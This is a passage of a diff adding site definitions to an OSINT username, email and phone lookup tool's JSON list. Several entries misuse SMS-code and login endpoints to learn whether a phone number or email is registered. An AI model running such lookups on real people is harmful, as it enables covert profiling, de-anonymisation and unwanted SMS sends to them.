"whois": { + "RegistrantCountry": "UA" + } + }, + "sessionize": { + "url": "https://sessionize.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://sessionize.com/%s", + "existUsername": "jason-mayes", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://sessionize.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "HR" + } + }, + "skyrock": { + "url": "https://skyrock.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.skyrock.com/", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.skyrock.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "social-tchncs": { + "url": "https://social.tchncs.de/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://social.tchncs.de/@%s", + "existUsername": "Milan", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://social.tchncs.de/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "spletnik": { + "url": "https://spletnik.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://spletnik.ru/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://spletnik.ru/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "svidbook": { + "url": "https://www.svidbook.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.svidbook.ru/user/%s", + "existUsername": "green", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.svidbook.ru/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "toster": { + "url": "https://www.toster.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.toster.ru/user/%s/answers", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.toster.ru/user/%s/answers" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "uid": { + "url": "https://uid.me/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://uid.me/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://uid.me/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wiki-vg": { + "url": "https://wiki.vg/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://wiki.vg/User:%s", + "existUsername": "Auri", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://wiki.vg/User:%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wykop-pl": { + "url": "https://wykop.pl", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.wykop.pl/ludzie/%s", + "existUsername": "janusz-nowak", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.wykop.pl/ludzie/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "PL" + } + }, + "xhamster": { + "url": "https://xhamster.com", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://xhamster.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://xhamster.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CY" + } + }, + "znanylekarz-pl": { + "url": "https://znanylekarz.pl", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.znanylekarz.pl/%s", + "existUsername": "janusz-nowak", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.znanylekarz.pl/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "PL" + } + }, + "newsmth": { + "url": "https://www.newsmth.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "0500", + "existRegex": "face_url", + "url": "https://www.newsmth.net/nForum/user/query/%s.json", + "existUsername": "TDK1", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://www.newsmth.net/nForum/user/query/%s.json" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "bbspku": { + "url": "https://bbs.pku.edu.cn/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "avatar_frame", + "url": "https://bbs.pku.edu.cn/v2/ajax/get_userinfo_by_names.php", + "existUsername": "moony", + "nonExistUsername": "youga777888", + "body": "names=\%5B\%22%s\%22\%5D", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://bbs.pku.edu.cn/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "fishpi": { + "url": "https://fishpi.cn/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://fishpi.cn/member/%s", + "existUsername": "csfwff", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://fishpi.cn/member/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "ali213": { + "url": "https://game.ali213.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "抱歉,您指定的用户空间不存在", + "url": "https://game.ali213.net/space-username-%s.html", + "existUsername": "freedomboy1979", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://game.ali213.net/space-username-%s.html" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "4399": { + "url": "https://www.4399.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "用户名已被注册", + "nonExistRegex": "0", + "url": "https://ptlogin.4399.com/ptlogin/isExist.do?username=%s&appId=u4399®Mode=reg_normal&v=2", + "existUsername": "123123", + "nonExistUsername": "1231pixn123", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.4399.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "7k7k": { + "url": "https://web.7k7k.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "\\\\u7528\\\\u6237\\\\u5df2\\\\u5b58\\\\u5728\\\\uff01", + "nonExistRegex": "\\\\u7528\\\\u6237\\\\u540d\\\\u53ef\\\\u7528\\\\uff01", + "url": "https://web.7k7k.com/source/core_Post.php", + "existUsername": "123123", + "nonExistUsername": "1231pixn123", + "body": "param=%s&name=name", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://web.7k7k.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "doc88": { + "url": "https://www.doc88.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "1", + "nonExistRegex": "0", + "url": "https://www.doc88.com/member.php?act=check&username=%s", + "existUsername": "123123", + "nonExistUsername": "12x31pixn123", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.doc88.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "huazhu": { + "url": "https://m.huazhu.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "phone", + "nonExistRegex": "未找到与该手机号绑定的账户", + "url": "https://m.huazhu.com/api/public/sendCodeNoLogin?param=%s", + "body": "{}", + "existUsername": "123123", + "nonExistUsername": "13188554520", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/json" + }, + "userPage": "https://m.huazhu.com", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "1point3acres": { + "url": "https://www.1point3acres.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "alert_error", + "url": "https://www.1point3acres.com/bbs/space-username-%s.html", + "existUsername": "luckymeteor666", + "nonExistUsername": "luckymeta123eor666", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.1point3acres.com/bbs/space-username-%s.html" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "okjike": { + "url": "https://web.okjike.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "phone", + "nonExistRegex": "Expected a value of type", + "url": "https://web-api.okjike.com/api/graphql", + "body": "{\"operationName\":\"GetSmsCode\",\"variables\":{\"mobilePhoneNumber\":\"%s\",\"areaCode\":\"+86\"},\"query\":\"mutation GetSmsCode($mobilePhoneNumber: String!, $areaCode: String!) {\\n getSmsCode(action: PHONE_MIX_LOGIN, mobilePhoneNumber: $mobilePhoneNumber, areaCode: $areaCode) {\\n action\\n __typename\\n }\\n}\\n\"}\n", + "existUsername": "123123", + "nonExistUsername": "13188554520", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/json" + }, + "userPage": "https://web.okjike.com/", + "sleep": 10 + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + + "cstis": { + "url": "https://cstis.cn", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "email", + "nonExistRegex": "\\\\u6b64\\\\u90ae\\\\u7bb1\\\\u4e0d\\\\u5b58\\\\u5728", + "url": "https://cstis.cn/ts/getcode?email=%s&type=2", + "nonExistUsername": "13188554520@qq.com", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://cstis.cn/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "dzone": { + "url": "https://dzone.com", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "exists", + "url": "https://dzone.com/services/widget/users-registration/validateUsername", + "existUsername": "Jade_Rubick", + "nonExistUsername": "Jade_Rubickaa", + "body": "{\"username\":\"%s\"}", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/json", + "Accept": "application/json, text/plain, */*", + "Cookie": "TH_CSRF=8995242996830184179", + "X-Th-Csrf": "8995242996830184179" + }, + "userPage": "https://dzone.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "dalao": { + "url": "https://dalao.net/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "password", + "nonExistRegex": "email", + "url": "https://dalao.net/user-login.htm", + "existUsername": "不讲李", + "nonExistUsername": "Jade_Rubickaa", + "body": "email=%s&password=4297f44b13955235245b2497399d7a93", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://dalao.net/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "medium": { + "url": "https://medium.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "<h2 class=\"fs b ft fu fv fw fx\"><span class=\"fn\">404</span></h2>", + "url": "https://medium.com/@%s", + "existUsername": "james_73717", + "nonExistUsername": "james_737171", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://medium.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "matters": { + "url": "https://matters.town/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "styles_errorMessage", + "url": "https://matters.town/@%s", + "existUsername": "LuzWu222", + "nonExistUsername": "LuzWu2221", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://matters.town/@%s", + "sleep": 3 + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "0xffff": { + "url": "https://0xffff.one/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://0xffff.one/u/%s", + "existUsername": "ryan4yin", + "nonExistUsername": "ryan4yin1x", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://0xffff.one/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "optzmx": { + "url": "http://www.optzmx.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "email", + "nonExistRegex": "succeed", + "url": "http://www.optzmx.com/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkemail&email=%s", + "existUsername": "admin@admin.com", + "nonExistUsername": "admin@admin.com", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://www.optzmx.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "qsnctf": { + "url": "https://bbs.qsnctf.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "该用户名已注册,请更换用户名", + "url": "https://bbs.qsnctf.com/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=%s", + "existUsername": "6Fgenshin", + "nonExistUsername": "6Fgenshin12331", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://bbs.qsnctf.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "cnodejs": { + "url": "https://cnodejs.org/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://cnodejs.org/user/%s", + "existUsername": "leapon", + "nonExistUsername": "leaponasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://cnodejs.org/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "react-china": { + "url": "http://react-china.org/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://react-china.org/u/%s", + "existUsername": "makshow", + "nonExistUsername": "makshow123", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://react-china.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "xiaozhuanlan": { + "url": "https://xiaozhuanlan.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "404 - 小专栏", + "url": "https://xiaozhuanlan.com/u/%s", + "existUsername": "biudesign", + "nonExistUsername": "biudesignasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://xiaozhuanlan.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "classcentral": { + "url": "https://www.classcentral.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.classcentral.com/@%s", + "existUsername": "jack", + "nonExistUsername": "jackrose", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Accept-Language": "en-US,en;q=0.9" + }, + "userPage": "https://www.classcentral.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "pinterest": { + "url": "https://www.pinterest.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "pinterestapp:followers", + + "url": "https://www.pinterest.com/%s/", + "existUsername": "hardlysamie", + "nonExistUsername": "hardlysasdfamie", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.pinterest.com/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "opensea": { + "url": "https://opensea.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://opensea.io/%s", + "existUsername": "BYOPContracts", + "nonExistUsername": "BYOPContracasdfts", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://opensea.io/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "instagram": { + "url": "https://www.instagram.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.instagram.com/api/v1/users/web_profile_info/?username=%s", + "existUsername": "zengshuohui", + "nonExistUsername": "zengshuohuxixasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "X-Ig-App-Id": "936619743392459" + }, + "userPage": "https://www.instagram.com/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "rottentomatoes": { + "url": "https://www.rottentomatoes.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.rottentomatoes.com/critics/%s/movies", + "existUsername": "kimber-myers", + "nonExistUsername": "kimber-myxxxers", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.rottentomatoes.com/critics/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "openclipart": { + "url": "https://openclipart.org/", + "type": "Socail", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "This artist does not exist", + "url": "https://openclipart.org/artist/%s", + "existUsername": "revzack", + "nonExistUsername": "revzackasd", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://openclipart.org/artist/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "thenextweb": { + "url": "https://thenextweb.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://thenextweb.com/author/%s", + "existUsername": "linnea", + "nonExistUsername": "linnea123", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://thenextweb.com/author/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "theverge": { + "url": "https://www.theverge.com/", + "type": "Socail", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.theverge.com/authors/%s", + "existUsername": "", + "nonExistUsername": "", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.theverge.com/authors/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "engadget": { + "url": "https://www.engadget.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.engadget.com/about/editors/%s/", + "existUsername": "igor-bonifacic", + "nonExistUsername": "igor-bonifacicxx", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.engadget.com/about/editors/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "techcrunch": { + "url": "https://techcrunch.com/", + "type": "CyberSecurity", + "isNSFW": false, + "sleep": 3, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://techcrunch.com/author/%s/", + "existUsername": "zack-whittaker", + "nonExistUsername": "zack-whittakerasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://techcrunch.com/author/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "kickstarter": { + "url": "https://www.kickstarter.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.kickstarter.com/profile/%s", + "existUsername": "microcosmpublishing", + "nonExistUsername": "microcosmpublishingasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.kickstarter.com/profile/%s", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "freepik": { + "url": "https://www.freepik.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.freepik.com/author/%s", + "existUsername": "rawpixel-com", + "nonExistUsername": "rawpixel-comasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.freepik.com/author/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gettyimages": { + "url": "https://www.gettyimages.hk/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "返回結果為零", + "url": "https://www.gettyimages.hk/search/photographer?photographer=%s", + "existUsername": "Klaus Vedfelt", + "nonExistUsername": "Klaus Vedfeltaaa", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.gettyimages.hk/search/photographer?photographer=%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN-HK" + } + }, + + + "wikivoyage": { + "url": "https://en.wikivoyage.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://en.wikivoyage.org/wiki/User:%s", + "existUsername": "Veracious", + "nonExistUsername": "Veraciousasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://en.wikivoyage.org/wiki/User:%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "arstechnica": { + "url": "https://arstechnica.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://arstechnica.com/author/%s/", + "existUsername": "stephenclark", + "nonExistUsername": "stephenclarkasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://arstechnica.com/author/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "dribbble": { + "url": "https://dribbble.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://dribbble.com/%s", + "existUsername": "odamastudio", + "nonExistUsername": "odamastudioxasd", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://dribbble.com/%s" 